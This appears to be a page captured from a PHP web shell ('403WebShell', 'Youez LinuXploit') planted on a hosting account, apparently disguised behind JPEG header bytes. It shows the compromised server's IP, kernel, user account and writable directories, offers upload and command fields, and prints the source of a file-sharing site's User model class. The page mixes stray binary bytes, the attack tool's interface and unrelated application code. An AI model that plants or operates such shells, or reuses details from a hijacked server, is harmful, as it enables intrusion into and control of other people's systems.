����JFIF��x�x����'403WebShell
403Webshell
Server IP : 66.29.137.217  /  Your IP : 3.145.36.157
Web Server : LiteSpeed
System : Linux premium294.web-hosting.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
User : gltevjme ( 1095)
PHP Version : 7.0.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/gltevjme/ideyshare.name.ng/app/models/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/gltevjme/ideyshare.name.ng/app/models/User.class.php
<?php

namespace App\Models;

use App\Core\Model;
use App\Core\Database;
use App\Models\FileFolder;
use App\Helpers\CacheHelper;
use App\Helpers\CoreHelper;
use App\Helpers\FileHelper;
use App\Helpers\FileFolderHelper;
use App\Helpers\PluginHelper;
use App\Helpers\SharingHelper;
use App\Helpers\TranslateHelper;
use App\Helpers\UserHelper;

class User extends Model
{
    /**
     * Table name based on the Model
     *
     * @var string
     */
    public static $tableName = 'users';

    public function hasProfileImage() {
        $avatarCachePath = 'user/' . (int) $this->id . '/profile_image/profile_original.jpg';
        if (CacheHelper::checkCacheFileExists($avatarCachePath)) {
            return true;
        }

        return false;
    }

    public function getProfileImageUrl() {
        return CACHE_WEB_ROOT . '/user/' . (int) $this->id . '/profile_image/profile_original.jpg';
    }

    public function storeProfileData($profileArr) {
        // get existing data
        $profileData = array();
        if (strlen($this->profile)) {
            $profileDataArr = json_decode($this->profile, true);
            if (is_array($profileDataArr)) {
                $profileData = $profileDataArr;
            }
        }

        // overwrite with new data
        foreach ($profileArr AS $k => $profileArrItem) {
            $profileData[$k] = $profileArrItem;
        }

        // update user
        $this->profile = json_encode($profileData, true);

        return $this->save();
    }

    public function getProfileValue($key, $childKey = null) {
        if (strlen($this->profile)) {
            $profileDataArr = json_decode($this->profile, true);
            if (is_array($profileDataArr)) {
                if (isset($profileDataArr[$key])) {
                    if ($childKey !== null) {
                        if (isset($profileDataArr[$key][$childKey])) {
                            return $profileDataArr[$key][$childKey];
                        }

                        return false;
                    }

                    return $profileDataArr[$key];
                }
            }
        }

        return false;
    }

    public function getAvatarUrl() {
        // setup avatar size
        $width = 110;
        $height = 110;

        // setup paths
        $avatarCachePath = 'user/' . $this->id . '/profile';
        $avatarCacheFilename = md5($this->id . $width . $height . 'square') . '.png';

        // check if user has cached avatar
        if (CacheHelper::checkCacheFileExists($avatarCachePath . '/' . $avatarCacheFilename)) {
            return CACHE_WEB_ROOT . '/' . $avatarCachePath . '/' . $avatarCacheFilename.'?'.CacheHelper::getCacheModifiedTimestamp($avatarCachePath . '/' . $avatarCacheFilename);
        }

        // fallback
        // @TODO - investigate a better caching method, at the moment we append r=time() to
        // avoid browser caching
        return WEB_ROOT . '/account/avatar/' . $this->id . '/' . $width . 'x' . $height . '.png?r='.time();
    }

    public function getImageWatermarkUrl() {
        $watermarkCachePath = 'user/' . (int) $this->id . '/watermark/watermark_original.png';
        if (CacheHelper::checkCacheFileExists($watermarkCachePath)) {
            return $watermarkCachePath;
        }

        return false;
    }

    public function getAvailableStorage() {
        return UserHelper::getAvailableFileStorage($this->id);
    }

    public function getTotalActiveFileSize() {
        return FileHelper::getTotalActiveFileSizeByUser($this->id);
    }

    public function getTotalActiveFiles() {
        return FileHelper::getTotalActiveFilesByUser($this->id);
    }

    public function getTotalSharedWithMeFiles() {
        return SharingHelper::getTotalSharedByUser($this->id);
    }

    public function getTotalTrashFiles() {
        return FileHelper::getTotalTrashFilesByUser($this->id);
    }

    public function getTotalDownloadCountAllFiles() {
        return FileHelper::getTotalDownloadsByUserOwnedFiles($this->id);
    }

    public function deleteUserData() {
        // call plugins
        PluginHelper::callHook('preDeleteUserData', array(
            'User' => $this,
        ));
        
        // connect db
        $db = Database::getDatabase();
        
        // schedule all owned files for removal
        $fileRows = FileHelper::loadAllActiveByAccount($this->id);
        if($fileRows) {
            foreach($fileRows AS $fileRow) {
                // delete file
                $file = File::hydrateSingleRecord($fileRow);
                $file->removeByAdmin();
                unset($file);
            }
        }

        // remove database file records, this will not delete files only data
        // stats
        $db->query('DELETE FROM stats '
                . 'WHERE file_id IN (SELECT id FROM file WHERE userId = :userId)', array(
                    'userId' => (int) $this->id,
                ));

        // remove share entries
        $db->query('DELETE FROM file_folder_share_item '
                . 'WHERE file_id IN (SELECT id FROM file WHERE userId = :userId)', array(
                    'userId' => (int) $this->id,
                ));
        $db->query('DELETE FROM file_folder_share '
                . 'WHERE created_by_user_id = :user_id', array(
                    'user_id' => (int) $this->id,
                ));
        
        // files
        $db->query('DELETE FROM file '
                . 'WHERE userId = :userId', array(
                    'userId' => $this->id,
                ));

        // remove api keys
        $db->query('DELETE FROM apiv2_api_key '
                . 'WHERE user_id = :user_id', array(
                    'user_id' => (int) $this->id,
                ));

        // remove folders
        $db->query('DELETE FROM file_folder '
                . 'WHERE userId = :userId', array(
                    'userId' => (int) $this->id,
                ));

        // remove sessions
        $db->query('DELETE FROM sessions '
                . 'WHERE user_id = :user_id', array(
                    'user_id' => (int) $this->id,
                ));

        // user record
        $db->query('DELETE FROM users '
                . 'WHERE id = :id', array(
                    'id' => (int) $this->id,
                ));

        // call plugins
        PluginHelper::callHook('postDeleteUserData', array(
            'User' => $this,
        ));

        return true;
    }

    public function getAccountScreenName() {
        $label = strlen($this->firstname) ? ucwords($this->firstname) : $this->username;
        if (strlen($label) > 12) {
            $label = substr($label, 0, 12) . '...';
        }

        return $label;
    }

    public function getLastLoginFormatted() {
        if (strlen($this->lastlogindate) == 0) {
            return t('never', 'never');
        }

        return CoreHelper::formatDate($this->lastlogindate, 'D jS F y');
    }

    public function getTotalActiveFileCount() {
        // connect db
        $db = Database::getDatabase();

        // count active files
        return $db->getValue('SELECT COUNT(id) '
                        . 'FROM file '
                        . 'WHERE userId = ' . (int) $this->id . ' '
                        . 'AND status = "active"');
    }

    public function getTotalLikesCount() {
        $db = Database::getDatabase();
        return $db->getValue('SELECT SUM(total_likes) AS total '
                        . 'FROM file '
                        . 'WHERE userId = ' . (int) $this->id);
    }

    public function getProfileUrl() {
        return UserHelper::buildProfileUrl($this->username);
    }

    public function getLikesUrl() {
        return $this->getProfileUrl() . 'likes/';
    }

    public function addDefaultFolders() {
        $defaultUserFolders = trim(SITE_CONFIG_USER_REGISTER_DEFAULT_FOLDERS);
        if (strlen($defaultUserFolders) == 0) {
            return false;
        }

        // get each folder and add as root item
        $folderItems = explode('|', $defaultUserFolders);
        foreach ($folderItems AS $folderItem) {
            // create the folder
            $fileFolder = FileFolder::create();
            $fileFolder->userId = $this->id;
            $fileFolder->urlHash = FileFolderHelper::generateRandomFolderHash();
            $fileFolder->folderName = $folderItem;
            $fileFolder->isPublic = 2;
            $fileFolder->parentId = null;
            $fileFolder->showDownloadLinks = 1;
            $fileFolder->save();
        }
    }

    public function isAdmin() {
        return (int) $this->level_id === 20;
    }

    public function approveUser() {
        // connect db
        $db = Database::getDatabase();

        // update db
        $rs = $db->query('UPDATE users '
                . 'SET status="active" '
                . 'WHERE id = ' . (int) $this->id . ' '
                . 'LIMIT 1');

        // send confirmation to user
        $replacements = array(
            'FIRST_NAME' => $this->firstname,
            'SITE_NAME' => SITE_CONFIG_SITE_NAME,
            'WEB_ROOT' => WEB_ROOT,
            'ADMIN_WEB_ROOT' => ADMIN_WEB_ROOT,
            'USERNAME' => $this->username
        );
        $subject = TranslateHelper::t('register_user_approved_email_subject', 'Account for [[[SITE_NAME]]] - Approved!', array('SITE_NAME' => SITE_CONFIG_SITE_NAME));

        // override user email content
        $defaultContent = "Dear [[[FIRST_NAME]]],<br/><br/>";
        $defaultContent .= "Your account on [[[SITE_NAME]]] has been approved. You can now use the username and password we sent on the previous email to login.<br/><br/>";
        $defaultContent .= "Feel free to contact us if you need any support with your account.<br/><br/>";
        $defaultContent .= "Regards,<br/>";
        $defaultContent .= "[[[SITE_NAME]]] Admin";
        $htmlMsg = TranslateHelper::t('register_user_approved_email_content', $defaultContent, $replacements);
        CoreHelper::sendHtmlEmail($this->email, $subject, $htmlMsg, SITE_CONFIG_DEFAULT_EMAIL_ADDRESS_FROM, strip_tags(str_replace("<br/>", "\n", $htmlMsg)));

        return $rs;
    }

    public function declineUser() {
        // send confirmation to user
        $replacements = array(
            'FIRST_NAME' => $this->firstname,
            'SITE_NAME' => SITE_CONFIG_SITE_NAME,
            'WEB_ROOT' => WEB_ROOT,
            'ADMIN_WEB_ROOT' => ADMIN_WEB_ROOT,
            'USERNAME' => $this->username
        );
        $subject = TranslateHelper::t('register_user_declined_email_subject', 'Account for [[[SITE_NAME]]] - Not Approved', array('SITE_NAME' => SITE_CONFIG_SITE_NAME));

        // override user email content
        $defaultContent = "Dear [[[FIRST_NAME]]],<br/><br/>";
        $defaultContent .= "Unfortunately your account on [[[SITE_NAME]]] has failed to meet the minimum requirements for the site at this time.<br/><br/>";
        $defaultContent .= "Feel free to contact us if you need any support with your account.<br/><br/>";
        $defaultContent .= "Regards,<br/>";
        $defaultContent .= "[[[SITE_NAME]]] Admin";
        $htmlMsg = TranslateHelper::t('register_user_declined_email_content', $defaultContent, $replacements);
        CoreHelper::sendHtmlEmail($this->email, $subject, $htmlMsg, SITE_CONFIG_DEFAULT_EMAIL_ADDRESS_FROM, strip_tags(str_replace("<br/>", "\n", $htmlMsg)));

        // remove the actual account
        $rs = $this->deleteUserData();

        return $rs;
    }

    public function get2FASalt() {
        // if we don't have a salt, generate it
        if(!$this->login_2fa_salt) {
            $g = new \Sonata\GoogleAuthenticator\GoogleAuthenticator();
            $this->login_2fa_salt = $g->generateSecret();
            $this->save();
        }
        
        return $this->login_2fa_salt;
    }
    
    public function getFileReferrerWhitelist() {
        // if we don't have any set, return null
        if($this->fileReferrerWhitelist === null || strlen($this->fileReferrerWhitelist) === 0) {
            return null;
        }
        
        return explode(',', $this->fileReferrerWhitelist);
    }
    
    
}

Youez - 2016 - github.com/yon3zu
LinuXploit